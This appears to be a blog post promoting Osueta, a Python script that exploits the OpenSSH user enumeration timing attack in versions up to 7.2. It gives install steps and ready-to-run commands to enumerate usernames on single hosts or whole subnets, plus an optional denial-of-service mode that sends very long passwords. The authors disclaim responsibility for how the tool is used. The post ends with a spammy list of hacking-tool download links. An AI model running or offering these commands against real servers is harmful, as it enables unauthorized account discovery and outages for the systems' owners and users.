Tuesday, April 14, 2020

Osueta: A Simple Python Script To Exploit The OpenSSH User Enumeration Timing Attack


About Osueta?
   Osueta it's a simple Python 2 script to exploit the OpenSSH User Enumeration Timing Attack, present in OpenSSH versions <= 7.2 and >= 5.*. The script has the ability to make variations of the username employed in the bruteforce attack, and the possibility to establish a DoS condition in the OpenSSH server.

    Read more: OpenSSH User Enumeration Time-Based Attack

   The bug was corrected in OpenSSH version 7.3.

   Authors of Osueta:

Osueta's Installation
   For Linux users, open your Terminal and enter these commands:
   If you're Windows users, follow these steps:
  • Install Python 2.7.x from Python.org first. On Install Python 2.7.x Setup, choose Add python.exe to Path.
  • Download Osueta-master zip file.
  • Then unzip it.
  • Open CMD or PowerShell window at the Osueta folder you have just unzipped and enter these commands:
    pip install python-nmap paramiko IPy
    python osueta.py -h

Advice: Like others offensive tools, the authors disclaims all responsibility in the use of this script.

Osueta help menu:

Osueta's examples:
   A single user enumeration attempt with username variations:
python2 osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes


   A single user enumeration attempt with no user variations a DoS attack:
python2 osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v no --dos yes


   Scanning a C class network with only one user:
python2 osueta.py -H 192.168.1.0/24 -p 22 -U root -v no 


   Scanning a C class network with usernames from a file, delay time 15 seconds and a password of 50000 characters:
python2 osueta.py -H 192.168.1.0/24 -p 22 -L usernames.txt -v yes -d 15 -l 50


More articles


  1. Hacking Tools Download
  2. Hacker Tools For Windows
  3. Easy Hack Tools
  4. Hacker Tools Free
  5. What Is Hacking Tools
  6. Install Pentest Tools Ubuntu
  7. Hacking Tools For Windows 7
  8. Hacks And Tools
  9. Pentest Tools Github
  10. Growth Hacker Tools
  11. Pentest Recon Tools
  12. Pentest Box Tools Download
  13. Blackhat Hacker Tools
  14. Nsa Hack Tools Download
  15. Hacking Tools Software
  16. Kik Hack Tools
  17. Pentest Tools Open Source
  18. Pentest Tools Framework
  19. Termux Hacking Tools 2019
  20. Hacker Tools For Windows
  21. Free Pentest Tools For Windows
  22. Pentest Tools For Mac
  23. Hacking Tools 2019
  24. Hacker Tools Mac
  25. Hack App
  26. Hacking Tools Free Download
  27. World No 1 Hacker Software
  28. Hackrf Tools

No comments:

Post a Comment